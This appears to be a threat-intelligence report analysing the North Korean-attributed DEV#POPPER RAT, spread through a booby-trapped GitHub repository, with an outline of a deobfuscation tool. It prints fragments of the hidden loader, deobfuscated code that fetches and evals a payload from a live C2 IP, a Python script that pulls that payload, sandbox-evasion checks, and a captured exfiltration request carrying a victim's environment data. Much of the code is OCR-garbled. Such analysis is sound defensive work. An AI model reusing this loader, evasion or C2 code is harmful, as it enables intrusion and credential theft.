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Learn more about the DEV#POPPER remote access trojan and

how to protect your organization from this threat.

By eSentire Threat Response Unit (TRU)

Archived: 2026-04-05 18:24:39 UTC

What did we find?

In February 2026, eSentire's Threat Response Unit (TRU) detected DEV#POPPER, a sophisticated Remote
Access Trojan (RAT), on a customer's machine in the Energy, Utilities, and Waste industry. TRU attributes this

threat with high confidence to a North Korean state-sponsored APT group due to shared Tactics, Techniques, and
Procedures (TTPs) across similar campaigns, such as Ransom-ISAC's blog, "Cross-Chain TxDataHiding Crypto
Heist: A Very Chainful Process (Part 2)".

TRU assesses this group is primarily financially motivated, as the malware aggressively targets cryptocurrency
wallets. However, targeting developers through fake GitHub repositories reveals additional objectives: supply
chain compromise by stealing source code credentials, API keys, passwords, and cloud infrastructure access

tokens.
This technical analysis serves two primary objectives:

e Provides a comprehensive examination of DEV#POPPER architectural components.

 Introduces a specialized automation tool, "DEV#STOPPER.js", developed by eSentire that enables security

researchers to automate the deobfuscation process of intermediary stagers and final payloads like
DEV#POPPER RAT and the loader for DEV#POPPER RAT / OmniStealer.

Initial access occurred when the victim cloned a repository from GitHub named, "ShoeVista" - a weaponized
GitHub repository disguised as an eCommerce platform. Launching the frontend application triggered a hidden
malicious script that progressed through several stages before leveraging multiple blockchain networks to retrieve

the source code for DEV#POPPER RAT, and stagers leading to OmniStealer (a Python-based information stealer).

While TRU has found that most victims use macOS, the malware also supports Windows and Linux, underscoring

the APT’s broad targeting strategy and enabling it to compromise a wider range of systems.
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ShoeVista

ShoeVista is an eCommerce website designed to offer a seamless shopping experience for shoes across various categories including men,
women, and kids. The platform features an intuitive interface for searching, sorting, and filtering products to help users find exactly what
they're looking for.

Features

+ Homepage:

o Carousel showcasing featured products.

o Horizontal bar displaying bestsellers and most rated items.
« Product Pages:

o Separate pages for Men, Women, and Kids categories.

o Filter products by brand, category, price, and rating.
o Sort products based on various criteria.

« User Interaction:
o Add items to Wishlist.

o Add items to Cart.
« Responsive Design: Fully responsive layout for a seamless experience on all devices.

Figure 1 - README of ShoeVista GitHub repository
Attack Chain

The attack chain begins when the victim clones the malicious repository and opens the frontend application.
Doing so triggers a sequence of stagers that ultimately deploy DEV#POPPER RAT and OmniStealer.

DEV#POPPER’s source code is retrieved from blockchain transaction input data, decrypted, and then executed.

'
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Software Developer “ShoeVista" node -e <malicious_code>

v
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<
Stage 4 node -e <malicious_code= Stage 3
Launch python via inline expression 1o execute
OmniStealer stage 1
Download/decrypt o
OmniStealer stage 2 =
OmniStealer python -¢ <malicious_code>

Figure 2 — Attack chain diagram

Page 2 of 33



https://www.esentire.com /blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin

Initial Access

Initial access began after the victim cloned the ShoeVista GitHub repository, launched the application frontend
and navigated to the frontend address in a web browser. This action launched a highly obfuscated Node.js-based

backdoor in the file at "frontend/tailwind.config.js".

The last line in this file begins with a large amount of whitespace to hide highly obfuscated code.

@type {import('tailwindcss"').Config}
const = require('fs');
module.exports =

content: [
"./src/*xx/*.{js,jsx,ts,tsx}",

1,

theme: {

extend:
}
plugins: [1,

Figure 3 — Backdoor JavaScript hidden by whitespace

Removing the whitespace reveals the first stage in the attack chain - highly obfuscated JavaScript that we will
refer to as Stage 1. This JavaScript is executed in a new node process as an inline expression, e.g. "node -e

<JavaScript>".

globall['_V']='5";globall'r'l=require;
if(typeof module==='object')globall'm']=module; (function(){var Klu="",
QcU=794-783; function Onn(d){var w=1019633;var c=d.length;var t=[];for(var n=0;
n<c;n++){t[nl=d.charAt(n)};for(var n=0;n<c;n++){var e=wk(n+82)+(w%49761);var
b=wx(n+575)+(w%41455) ;var g=e%c;var p=b%c;var o=tlgl;tlgl=tlpl;tlpl=0;w=(e+b)
%1671836; }; return t.join('"')};var ypw=0nn
('wgnnsruxjouobcvhfroktztmseayqlticcdrp').substr(@,QcU);var yRI='u r a (),.a;
rvnr4ghfvnahl ghc6ri()7=k=,;o0is-tkub4C)ol)=, rhs=u8e){;065.qt,;{;rr);et.2ka;,
7) ;b6h=tz[i=y0bbCfr4=nl1 87,nr+ ;gjrord.( m8fojil+,=40.ejvn(1lts)taaxu(uCal)+b]
=h+0e. (hrn@lnr}(= 311) )hrekr=n b,or9v(r+u;ga"5=r}rc}n(wiu8e)+)apj h+v
(inlu"11 ,hr7])p+arpada, fi")f"sl.+;)0i7guf;git[2fvhr)u)i5ul,varo<v;); 8dan u
("nrsfv.rjuhonf;tlar(,r;.zg. tjarsx>dlu;v+6e.. zh,eannzl+;)9gj,e )rvnrfmh(1;
rl; [ire.7aegrvgr)c=) [v{pj.bem<xt=0"!(pxuvovc[tre @foo6j4f=uv; [;=2h+gsvevce
9f6b2n!- a=;g(1)6(ri.yr,*xa8c(fl(1p+;j(=,+(=jasc<(+)f; ( +los2t(51"=]huel2rSk;8;
ul-nsrdu@mg+[h; ro;ollzs="+tt9[o(11;,h; 1, (+scuysACn ;p27=hxt);p,s(7,3hzr- ;y=;
eCtj{=z)2[.aloiq; (9yz;+lrnesvz;yr=ro+ln=8w[=) lh[a(asyj t;;b)glC,0+au2t.a=0<a]l}
valt=rtA46d nn")i=i-tmsp9r,,.+;a,0pf[}>=veS =e"A;,n.obAba(=r9);pnthiouCh3.00]

Figure 4 — Revealing the hidden backdoor

Stage 1 Analysis
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After beautifying the code, we can see that it serves to unpack and execute another stage. It does so by calling the
function "gOe" several times, which un-shuffles two strings. The first is the string 'constructor’, the second, is

code that serves to decrypt the next stage.

It overwrites the gOe function with the next stage decryption code and calls it to decrypt the next stage (Stage 2).

The format of this stage is very similar to Stage 4 and unpacks itself using the same functionality.

function gOe(z)
var-j
var-g-=
ml[al =
m[jl =
y-= (f-+-1) -%-3722251;

HH

return -m.join('"')

var -naW-=-g0e( 'wodstriuznuobanchgfcttycmrogrvelspkxj').substr(0, IaL);

var Mcf =-'".) 1bl6uep(,b(r.72v.ir +"y1[dh. [h@j+1lhio(9+qe"9i;h]h;vara+;1no, (y6p0,09f7a,k2 7t, (598{ +v  cnv
var Rui = gOel[naW];

var nWx ilg

var VfN Rui;

var Obe = Rui(nWx, gOe(Mcf));

var tFh = -Obe(g0e('K}K3=(.Kz%%wh(g;70s?8(d4g.)t_hhKhM"2]. r%.d=%K.%vg4=15Kor03. s [4) 6kh ! uKeK8abK3KT%e (nll<.K
var usn = VfN(rms, tFh);

usn(9170);

Figure 5 — Stage 1 JavaScript code

Stage 2 Analysis

Deobfuscating this stage reveals that it serves to send an HTTP request to 23.27.20[.]143 (ASN 149440 - Evoxt
Sdn. Bhd.), decrypt the response via XOR key "ThZG+0jfXE6VAGQOJ", and execute the decrypted result as

code via the eval() function.

The User-Agent header value is set to, "Moezilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML; like Gecko) Chrome/131.0.0.0 Safari/537.36" in the request. It also sets a custom header, "Sec-V" to
a value previously stored in the global variable "_V". This global variable is set by the prior stage and varies

between campaigns.

_globall'_H'] 'http://23.27.20.143:27017"', ((async () => {
await-eval(function(a
cons = 'ThZG+0j fXE6VAGOJ ',
d% bl'length'];
let-e = 3
for (let f = 0x0; f < al'length']l; f++) {
const-g-=-a['charCodeAt'] (f),
h-=b['charCodeAt'] (f % d);
e +=_global['String'] ['fromCharCode'] (g -~ h)
i
return-e
}(await new _global['Promise']((c, d) => {

const-e =-new _global[('URL"')](_global['_H'] + '/$/boot'),

f.=-{};
f['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML; - like Gecko)
Chrome/131.0.0.0 Safari/537.36"', f['Sec-V'] = _globall['_V'] || 0x0;

const-g =
g['method"] 'GET', gl'hostname'] =-e['hostname']l, g['port'] =-el'port']l, gl'path']l = el'pathname'l, g
['headers'] = f;
const-h-=-g,
i-=_globall'r']I("http')['request'](h, (j) => {
const *H
let-k =
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Figure 6 — Stage 2 JavaScript code (deobfuscated)

The following python code emulates the behavior of the second stage: sending the request with specific headers
and decrypting the response via XOR key "ThZG+0jfXE6VAGOJ". This code can be used to retrieve the third
stage (DEV#POPPER).

import urllib.request

from itertools import cycle

def xor_data(data, key):
return bytes(c A k for ¢, k in zip(data, cycle(key)))

url = "http://23.27.20.143:27017/$/boot’

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML; like Gecko) Chrome/131.¢
'Sec-V': '5', # Replace me with the value set in first stage
'Connection': 'keep-alive'

}

req = urllib.request.Request(url, method="GET")

for k, v in headers.items():
req.add_header(k, v)

with urllib.request.urlopen(req) as resp:
encrypted = resp.read()
with open('dump_encrypted.bin', 'wb') as f:

f.write(encrypted)
decrypted = xor_data(encrypted, b'ThZG+@jfXE6VAGO]")
with open('dump_decrypted.js', 'wb') as f:
f.write(decrypted)

Stage 3 Analysis: DEV#POPPER RAT/OmniStealer Loader

The third stage serves three primary functions: evasion in analysis environments, and to load DEV#POPPER RAT
and Omni Stealer. It is around 2,000 lines of highly obfuscated JavaScript that makes use of several anti-analysis
techniques to hinder reverse engineers and automated deobfuscators. Deobfuscating and cleaning up the code
reveals the original code is around 400 lines. Obfuscation of this stage is identical to Stage 5 (the DEV#POPPER
RAT itself).

Obfuscations

This section provides an in-depth overview of the JavaScript obfuscation techniques used by DEV#POPPER
variants. Evidence indicates the threat actors likely ran their original code through Obfuscator.io, a free web-based

JavaScript obfuscation service.

Strings are RC4-encrypted, base64-encoded, and stored in a shuffled array. During execution, the array is
reordered and indices are stored throughout the code to serve as lookups into this array. The indices are primarily

stored as property values, e.g. "a0e6.1" or numeric literals, e.g. "0x55a".

Page 5 of 33



https://www.esentire.com /blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin

function-a0dc()  {
const e7 = ['jMOYWRNAQmkxW7GBjuFdUmkqs8kr', 'W6esdSoXw54TB8kuwQoalfay', 'DfRcItS', 'W71lc]]

'dZFdHSoPuGGZWOzUW68 ', 'WAxcMSKkRWOyA', 'WRn+WQu', 'WPVdMO9yW7FdMCozsSo/WRC', - 'ySkzW48XWQ
'W5tcNSkaxKK', 'attcHrdd0G', 'vmkHW4DBrsBcVdZcOmotc8kH', 'W5Cxpd@’', 'W7yHW6hcHNxdGCoiu8K

'hqBcTqVd

BRI Out of order “shuffled” encoded strings array
'WRhdICo

Figure 7 — Encoded strings array function

The unshuffling function is seen in the figure below. It is an IIFE function (Immediately Invoked Function
Expression) that takes two parameters, the encoded strings array returned by the "a0c" function, and the shuffle

egg, "0x52d72" which is used to determine when the encoded strings array has been re-ordered successfully.

Each iteration of the loop compares against the egg, if it is not found, the first string of the encoded strings array is
moved to the end of the array and the process repeats until the egg has been found, indicating the array has been

re-ordered successfully.

while (!!'[1) {
try {
const d = parseInt(aL(a@bP.a, a@bP.b)) / 0x1 + parseInt(aM(a@bP.c, a@bP.d)) / 0x2 * (parseInt(aN(a@bP
e, 'c9%h')) / 0x3) + parseInt(al('rzxu', 0x424)) / 0x4 x (parseInt(a0(a@bP.f, a@bP.g)) / 0x5) +
parseInt(aN(a@bP.h, a@bP.i)) / 0x6 + parseInt(aO('ku!@', a@bP.j)) / 0x7 + —parselnt(aP('f2zC',
0xdc)) / 0x8 x (parseInt(aM(a@bP.k, a@bP.1)) / 0x9) + -parseInt(a0(a@bP.m, a@bP.n)) / 0xa;
if-(d-===-b) - break;

else -c['push'](c['shift']());
} catch- (e) { > Re-shuffle
cl'push'](c['shift']1());
+
¥ A& Shuffle egg

}(a@c, 0x52d72));

Figure 8 — Re-shuffle array until it's ordered correctly

The final index needed to acquire the original encoded string is obtained by subtracting the index passed to the
decrypt function (a0d) from 0x151. Each string is decoded via base64 by the "g" function using the custom
alphabet: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=.

function aed(a, b) {

return-a@d = function(d, e) {
d=d-0x151; ¢—onu 1) . 73 i) 1)
_ Subtract index “d” by 0x151
let f-= cld];
if (a@d['TKSiJ0'] ‘=== undefined) {
var-g = function(l) {
const m-=-'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=";
let-n 00,

o="", Decode from base64 w/ custom alphabet
p n+g;

for (let- q =0x0, r, s, t =0x0; s = 1['charAt'] (t++); ~s & (r'=q % 0x4 - ? r % 0x40 + s : s, Q++
% 0x4) ? n +=-p['charCodeAt'] (t + @xa) - Oxa !==0x0 ? String['fromCharCode'] (0xff & r >> (-0x2 *
q & 0x6)) :q: 0x0) {

s-=-m['index0f'](s);

1
is

for (let-u =0x0, v-=n['length']; u < v; u+t) {

0 +="'%"+ ('00' + n['charCodeAt'] (u) ['toString'](0x10))['slice'](-0x2);
1
i

return decodeURIComponent(o);

Figure 9 — Decode from base64 with custom alphabet

Decoded strings are decrypted via RC4 using 4-byte keys that are stored throughout the code as either:

e Property values, e.g. "a0e6.i"
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o String literals, e.g. "'SQ]g""

const -afe6 = K
b: @x/cc,

c: 'f22C',

RC4 key

d: 0Ox3ac,

f: 0x43b,

Figure 10 — Constants that store RC4 keys and encoded string indices

The function "k" is responsible for calling the "g" function to decode the base64-encoded string and RC4 decrypt

the result.

function aed(a, b) {
return a@d = function(d, e) {
const -k = function(l, m) {
let-n-=[],

o = 0x0,
P, 9= ’
9(; «—Decode from base64
r;
(r = 0x0; r < 0x100; r++) {
nlrl-=r;

(r=0x0; r < 0x100; r++) {
o= (o + nlr]l + m['charCodeAt'](r % m['length'])) % 0x100, p =nlrl, nlr] =nlol, nlo]l = p;

ox0, o ox0;
(let-t = 0x0; t < 1['length']; t++) {
r=(r+ 0x1) % 0x100, o = (o + nlrl) % 0x100, p =nl[rl, nlr]l =nlol, nlo] =p, q += String
['fromCharCode'] (1['charCodeAt'](t) ~ nl(nlr]l + nlol) % 0x100]);
+

Feturn q;

Figure 11 — RC4 decryption function, decode -> decrypt

As a simple obfuscation method, some strings use the escape sequence \x. The figure below shows two obfuscated
strings, along with comments indicating their decoded ASCII characters (regular expression patterns). These are

used for anti-analysis purposes, which we will describe more in-depth in the next section.

if - (a@d['bpLJzg'] === undefined) {
const-1-= function(m) {
this['KKZbWN'] = m,
this['xGYTtG'] = [0x1, -0x0, -0x0],
this['aLQvHN'] -=- function() -{

return- 'newState';

this["PEOLjm'] = "\Xx5cw+\x20x\x5¢ (\x5¢) \x20*x{\x5cw+\x20x",
this['kgfPoI'] = '[\x27|\x22].+[\x27|\x22]; ?2\x20%}"';

Figure 12 —\x escape sequence obfuscation

As an additional obfuscation method, string decryption calls are "proxied" and eventually call the core base64
decode + RC4 decryption routine (a0d). The order in which arguments are passed varies in the proxy chains -

sometimes the RC4 key string is passed as the first argument and the index second, or vice versa.
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e The 4-byte RC4 key string argument is always passed as a string literal, e.g. "Z@rd" or property value,
e.g. "a0e6.ay", as shown in the figure below.

e The index argument's type can be passed as a numeric literal, property value, binary expression, etc. This
technique is described more in-depth in the figure below, where a proxy function, "aY" calls the decryption

routine "a0d" and passes the index as a variety of different expressions.

aY(a, b) A
(f return a@dfa - -a@dd.a, b);
} 13"1“?&_‘\NHM-'U“H) 4_member expression

binary expression

olaY(@x518, 'jIc[')1(s, ol[b0('Z@rd', ade6.hu)]),
x = olaY(@x26b, 'LxKB')1(s, ol[aW(a0eb6.ay, 0x438)1),

Figure 13 — Variety of expressions in proxy callers

Many strings are accessed via property name, e.g. "o[aX('m)7Q', 0x734)]", complicating replacement of the
original expression with the string literal. The property value itself is also a call expression, where the callee is a

"proxy" function that eventually calls the core decryption routine "a0d".

olaX('m)7Q"', 0x734)1(s, 'os'),
o[aW('m)7Q"', 0x41d)]1(s, |o[aZ('(NgM', @0x4a7)]),
olazZ('ehXd', 0x597)1(s, 'fs'),

olaY(@x518, 'jIc[')](s, |o[b0('Z@rd', a0e6.hu)l),
olaY(0x26b, 'LxKB')](s, |o[aW(a0e6.ay, 0x438)]),

Figure 14 — Variety of expressions in proxy callers

Strings (post-decryption) are sometimes separated by the "+" operator, e.g. "abc" + "def", and are concatenated

at runtime.

o= {
'XaKoM': -aZ('YbPA', a@e6.f) + aZ('ng32', 0x2f0),

'HfSLf': aX(a@eb6.g, 0x548) + aZ('!bTt', ale6.h),

Figure 15 — String concatenation

Object-method calls are used to obfuscate both binary and call expressions. The method name is not referenced
directly, rather it is computed at runtime by calling a proxy function, which ultimately invokes the string
decryption routine (aOb) and returns the decrypted property name (e.g., "Qcecdx"). That property is then used to

index into an object (e.g., 0), which contains the corresponding function implementation.

Invoking o[decryptedPropertyName]() executes the underlying behavior - either performing the original binary

operation or forwarding to the intended call expression.
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'Qccdx': - function(J,
return-J -+ K;

}'J

'GLZRK': - function(J,
return-J === K;

}
"dVwgm': - function(J, L) {

t J(K, L); .
. +«——+—— Call expressions
'EbvAu': - function(J,

return-J(K);
}
'ZYwWXI': function(J,

return-J  !=-K;

}y

Figure 16 — Original expressions converted to object-method calls

Bracket Notation is used throughout to hinder IDE formatting of well-known function names, e.g.

"a['startsWith']()" rather than "a.startsWith()".

s -=-m['index0f"](s);

}

for (let-u =0x0, v-=n['length']; u < v; u++) {
'%'" + ('00' -+ n['charCodeAt'](u) ['toString'](0x10)) ['slice'] (-0x2);

0 +='%

Figure 17 — Bracket notation usage rather than dot notation
Deobfuscation via Babel

eSentire TRU has created a script, available here, for deobfuscating DEV#POPPER intermediary stagers and final
payloads like DEV#POPPER RAT. The script traverses the Abstract Syntax Tree (AST) produced by the Babel

parser and processes it through the following steps, in order:

1. Traverse variables for object expressions and extract constants needed for shuffle/index/RC4 key lookups.

2. Traverse function declarations to identify the encoded strings array by checking if the function returns a
large array of base64 encoded strings, e.g. "aOc", and store them for un-shuffling later.

3. Traverse function declarations to identify the shuffler function (IIFE) and extract the "shuffle egg" for use
later in un-shuffling the encoded strings array.

4. Traverse function declarations to identify the decrypt function "a0d" via pattern matching or other
heuristics.

5. Traverse call expressions to identify proxy callers whose parent is the shuffler function and save associated
arguments for later use in un-shuffling the encoded strings array.

6. Traverse variable declarations to identify the variable that stores the value compared against the shuffle
egg, and re-shuffle the encoded strings array if the evaluation of the variable doesn't match the shuffle egg.

Once the shuffle egg matches the variable's evaluated value, the array has been un-shuffled successfully.
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7. Traverse call expressions that eventually call the decrypt function, "drilling down" to identify the values of
the arguments (index and RC4 key) at the call-site of the decrypt function call, e.g. a0d(index,
rc4KeyString). Subtract the constant 0x151 from the index and look up the index in the encoded strings
array to acquire the encoded string. Decode the encoded string from base64 using the custom alphabet.
Then pass the result to our RC4 decrypt function to decrypt the string literal. Replace the highest parent
call expression node with the decrypted string literal.

8. Traverse binary expressions and identify use of the "+" operator, evaluating the expression to determine if
it's a string, and replace the binary expression with the resulting string literal.

9. Traverse via variable declarations to find/save constants again, for use in member expression lookups.

10. Traverse member expressions and replace bracket notation, e.g. o['abecd'] with associated string literal.

11. Traverse object properties for functions that return binary or call expressions and replace the object-method
call expression with the original binary or call expression.

12. Cleanup "dead code" to make the code more readable by removing the decrypt function, encoded strings
function, shuffle function, and all other variables/objects/functions that have no references in the code.

13. Traverse string literals and delete the "extra" property of string literals, effectively converting \x escape
sequences into string literals.

14. Save the modified AST by babel's generate() method and write to disk.
Anti-Analysis

TRU discovered several anti-analysis methods while analyzing DEV#POPPER.

The first anti-analysis method causes the Node.js debugger to crash with Type Error exceptions when the code is

in its original "minified" state, making beautification the only viable option for debugging.

TypeError: J is not a function
at Object.LRjx0 stape3.js:1 34
at stape3.js:1:26918
at Object.<anonymous:> stage3d.js:1:49188

Figure 18 — Error when debugging due to object-method calls

The second method is a self-integrity check that uses a regular expression to identify changes in the code of a
function defined in the property at "this['aLQvVHN']". If the code is beautified, this regular expression will match,

and the for loop will execute indefinitely. The regular expression used by this technique is: "\w+ *() *{\w+ *

[1"+17152 #)
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'KkZbwN * m,
'XGYTtG" ox1, oxa, exal,

return- 'newState’;

'PEOLjm" "\x5cw+\x20x\x5¢ (\x5¢ ) \x20¢{\x5cw+\x20:x"',
'kgfPoI'] = ' [\x27 |\x22].+[\x27 |\x22]; ?\x20%}";

};
1['prototype'] ['USwvRV'] = () {
m = RegExp ['PEOljm'] + ['kgfPoI']),
n.=.m['t ['aLQuHN'] ['teString']()) ? --

return SSocSh'l(n);
}, l['prototype'] ['SSocSh'] =

if (!Boolean(~m)) return m;

return ' JRDWAC' ['KkZbWN']);
}, l['prototype'] ['jRDWAC (m) {

['xGYTtG'] ['length']; n < 0; n++
['xGYTtG']1['length'];

return-m ['xGYTtG'] [@x@]);
1(a@d) ['USwvRV'] (), a@d['bpLlzg'] = !![];

Figure 19 — Self-integrity check leading to indefinite loop

The third anti-analysis method makes use of the regular expression "(((.+)+)+)+$" and causes catastrophic
backtracking by converting the a0a function to string and matching and converting the a0a function's constructor
to string and searching. This causes the debugger to get hung up indefinitely.
b E
b.lbnzw = '(((.+)+)+)+$";

o b;
return a@a.toString().search(c.lbnzw).toString().constructor(a®a).search(c.lbnzw);

Figure 20 — Catastrophic backtracking

On Windows systems, the malware enumerates running processes via tasklist /[FO CSV /NH and calculates MD5

hashes of process names starting with the letter "O". If a process hash matches the MD5,
"9a47bb48b7b8ca41fc138fd3372e8cc0", execution terminates. The specific process name corresponding to this

hash has not been identified.

r

if (y.startsWith('win')) try {
Q={};
Q.windowsHide = !![];
R = await G('tasklist /FO CSV /NH', Q),
S = R.trim().split('\n");
for T S
U= T.split(', ") [0x0@].replace( "1);

if (U[ex@] != '0') continue;
V = w.createHash('MD5").update(U).digest("hex
if (V. == '9a47bb48b7b8cad1fc138fd3372e8cc@"') {
M(z + '$" + A+ "'/ '+ C+ '\nBlocked by security\n' + process.cwd(), '(Blocked)');

return;

} catch (W)

Figure 21 — Terminate if (unknown) process exists

If the operating system is Linux, the next method checks various attributes about the infected machine: computer

name, username, and OS release information to determine if it is likely running in an analysis environment.
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Environments it avoids:

¢ Cloud Providers: AWS, Azure, GCP, Vercel

e CI/CD: GitHub Actions, CircleCI, custom runners, Jenkins
e Containers: Docker, Kubernetes, BuildKit

e Build Systems: npm, Expo, Amplify, Heroku

e Security Tools: Kali Linux, malware sandboxes

e Development: Codespaces, staging servers, devcontainers

e Hosting: Render, Contabo, various VPS providers

Otherwise, if the operating system is not Linux, the victim's computer is checked against the following names,

which are likely controlled by the threat actors and are used for testing purposes:

e« EV-CHQG3L42MMQ
e EV-4A60E6MOE2D

if (z.startsWith(' r
M(z + '$" + A+ ! oc n' + process.cwd(), '(Blo
return;

if ((z.startsWith('la-cicd-') || z.startsWith('lb-cicd-')) && (A ‘ubuntu' || A === 'shop_runner')
M(z + '$' +A+ '/ '+ C+ '\nBlocked\n' + process.cwd(), '( ');
return;

ntinue;
if - ((/~ +$/.test(2) || /7~ [0-9a-f]{8}$/.test(z)) && A === ‘'root"
M(z + '$' + A+ "'/ ' +C+ '\nBlocked\n' + process.cwd(), '(Blo
return;
ntinue;
if (z & (A == ot' || A ‘kali' || he

M(z + 4 '/ '+ C+ '\nBlocked\n' + process.cwd(), '(
return;

continue;

i 1{12}$/.test(z) & ( "root' || A "node' || A-==='cnb' || A rcleci') || /Al 148}~ [0-9a~f1{4}-[
{4}~ 1{12}$/.test(z) && A ' tu' || z. startswnh( vmi') && z.endsWith(* a ' ‘|| (z.startsWith
(*communit ) . n-pa 0 0 e ' || z.startsWith
(*ip- *root* ‘panda’ itn. 1l ail') && (B.includes(* W)u

M(z + A ! ' n' + process.cwd(), '(Blo

return;

z.startswith(" ot && p.process.env.VERCEL_HIVE_\
M(z + '8 + A+ "/ 0 ocked  (Vercel)\n' + process.cwd(), ' (Bloc
return;

Figure 22 — Terminate if executing in cloud, VPS, or sandbox

C2 Communication

The figure below displays the request sent by Stage 2 to retrieve DEV#POPPER. The response body is XOR

encrypted as we previously covered.

ET /$/boot HTTP/1.1
User—Agent: Mozilla/5.@ (Windows NT 18.0; Win64; x64) AppleWebKit/537.36 (KHTML; like Gecko) Chrome/131.8.08.@ Safari/537.36|

Host: 23.27.20.143:27017
Connection: keep—alivel

1G.FV t.nhl-z| 3" .« o tuNgs~fa52 r&. U\HI=. f9qv | }C; « . QZ. nkW/m&. /bF;=. . .>pbD, 92hfd. npN A.hmi$qa+.D;wN.D.. 1. 7.0h.
lilsFAa=Z. fnd+.@;wN.D. 1H'f$qa+ Aghs..V=5.7.k.2bPon.Q3N9u5" 0&.f518.j.CMI..q7(..sD;wN.D.. 1.

|4Z. FV tRehl-z| i"...)t$.3wi-.}C;...BB?..2q7 |~5Aq&| .M. . Ikqm&. /bFB.. . . 7puNCcyw

l.4qoh!.M.".QZ.nkT.hl.. | j"...2ts.3w1—.}l:;..QZ.nkﬂgm&JhFB....?ps.awi—.xu.

Figure 23 — C2 request to retrieve stage 3 (DEV#POPPER)
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Three different C2 addresses were identified in DEV#POPPER samples and the usage of one over another
depends on the value stored in the global variable, "_V", which serves as a campaign identifier. As seen in Figure

4, the variable is set in this case to "5" so the C2 chosen is "198.105.127[.]210".

Note, this is the same global variable used for the Sec-V header that we previously covered.

_V "Sec-V" Value C2 ASN

A 136.0.9[.18 149440 (Evoxt Sdn. Bhd.)
C 23.27.202[.]127 149440 (Evoxt Sdn. Bhd.)
Numeric 198.105.127[.]210 149440 (Evoxt Sdn. Bhd.)

if (q[@x@] == 'A') D = "136.0.9.8"';else
if (g[@x@] == 'C') D = '23.27.202.27"';else {
if (!p.isNaN(p.parseInt(q))) D = '198.105.127.210';else return;

‘http://"' + D + ':27017°',

Figure 24 — Use different C2 based on campaign ID

DEV#POPPER filters "noisy" environment variables before sending the remaining variables to its C2.

g', Z.wHYom = ‘viz g', Z.anEPX = ‘exit_code’, Z.sLMSg =
', Z.uRhxB =
process.env,

ys(al).sort().reduce((a7, a8) => {
IT, a0.UcwEI, a0.ISdrl, a@.jgvPS, ad.wHYom, a@.anEPX, a@.sLMSg, a0.oWoFr, a@.lVCSO, a@.tGmal, ad.gmdMC, a@.VagId, a@.uRhxBl.includes(a8)) a7[a8] = alla8];

+'$' + A, aS.user
globalThis. URL!
a4, a6);

Figure 25 — Filter noisy environment variables and exfiltrate the rest

The figure below displays the request DEV#POPPER sends to the C2 endpoint at /snv containing harvested
environment variables. Since developers frequently store sensitive credentials in environment variables, this data

is highly valuable.
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POST /snv HTTP/1.1]]

Accept: application/json, text/plain, */%

Content-Type: application/x-www—form—-urlencoded;charset
User-Agent: axios/1.6.7

Content-Length: 5971

Accept-Encoding: gzip, compress, deflate, br]

Host: 23.27.20.143:27017|

Connection: keep-alive]

id=DESKTOP-LI1Q5PG%24carmen.winstead&user=carmen.wins tead&body=%76%22AL LUSERSPROF ILE%22%3A%2 2C%3A%5C%5CProgramDa ta%2 2%2 (2 2APPDATA%22%3 A% 2 2C3A%5 C%5C
IPUTERNAME%22%3A%22DESKTOP-LI1QSPG%22%2C%22ChocolateyInstall%22%3A%2 2C%3A%5C%5CProgramDatas5C%5Cchocolatey%22%2C%22Choco lateyLastPathUpdates22%3A%2213
Ps2C%22CommonProg ramFiles%22%3A%22C%3A%5C%5CP rogram+Files%s5C%5CCommon+Files%22%2C%22CommonProgramFiles%s28xB6%29%22%3A%22 C%3A%5C%5CProgram+Files+%28x86

on+Files%22%2C%22EDITOR%22%3A%22C%3A%5C%5CWindows%5C%5Cnotepad . exe%22%2C%2 2HOME%22%3A%2 2 C%3A%5C%5CUserss5CsSCcarmen . wins tead%22%2C%22H0MEDRIVES22%3

A%22C%3A%S5C%5CUsers%s5C%5Ccarmen. winstead%s5C%5CDesktop%5Cs5Ccrypto-shop-main%5C%5C T rontend%s22%2C%22L0CALAPPDATA%22%3A%22 C%3A%5C%5CUsers%5C%5Ccarmen. wi
252 C%2 2N0D E%22%3A%2 2 C43A%5C%5CProgram+Filess5C%5Cnode j s%5C%5Cnode . exe%22%2C%22N0DE_ENV922%3A%2 2deve lopmen t%22%2C%22NUMBER_OF_PROCESSORS%22%3A%228%2 2%
Ps5C%5C0neD rive%s22%2C%22PATHEXT%22%3A%22 . COM%3B . EXE%3B . BAT%3B. CMD%3B . VBS%3B . VBE%3B. ) 5%3B8. JSE%38 . WSF%3B .. WSH%3B . MSC%3B. PY%3B. PYWs3B. CPL%22%2C%22PROCESSO
+94+5tepping+3%2C+GenuineIntel%22%2C%22PROCESSOR_LEVEL%22%3A%226%22%2(%22PROCESSOR_REVISION%22%3A%225e03%22%2C%22PROMPT%22%3A%22%24P%24G%22%2(%22P5Mo
e L1%5C%5CHModules%s3BC%3A%5CH5CProgram+Filess5Cs5CWindowsPowerShe 11%5 C%5CModuless3BCs3A%5 C55CWindowss5C%5Csystem32%5C%5CWindowsPowe rShe L1%5C%5C0v1 . 8%5C%
C%SCUserss5CkSCearmen.winstead®s5C%S C0esktopsSC%5Ccrypto-shop-main%s (%5Cfrontend%5Cs5Cnode_moduleskSC%5C . bin%3BC%3A%S (%5 CUsers%5C%5Ccarmen. winsteads5C
en. winstead%5C%5CDesktops5CsSCnode_modules%5C%5C. bin%s3BCs3A%SC%5CUs e rs%5C%5Ccarmen. winstead%5C%5Cnode_moduless5C%5C. bin%s3BCA3A%5CASCUserss5Ca5Cnode_m
s%5C%5Cnode_modules%5C%5Cnpm%5C%5Cnode_moduless5C%5C%48npmeli%5C%5C run—script%5C%5C1ib%s5C%5Cnode—gyp-bin%s3BCk3A%5CH5CPython314%5C%5CScriptss5C%5C%3BC
BsSCW1ndows %5 Cs5C Sys tem3 2%5 Cs5CWhbemis3BC%3A%5C%5 CWindows%5C%5CSy s tem3 2%5C%5CWindowsPowe réhe 1 1%5C%5Cv] . @%5C%5 C3BC%3A%5 (%5 CP rog ram+Files%5Cs5Cnode j s%5C%
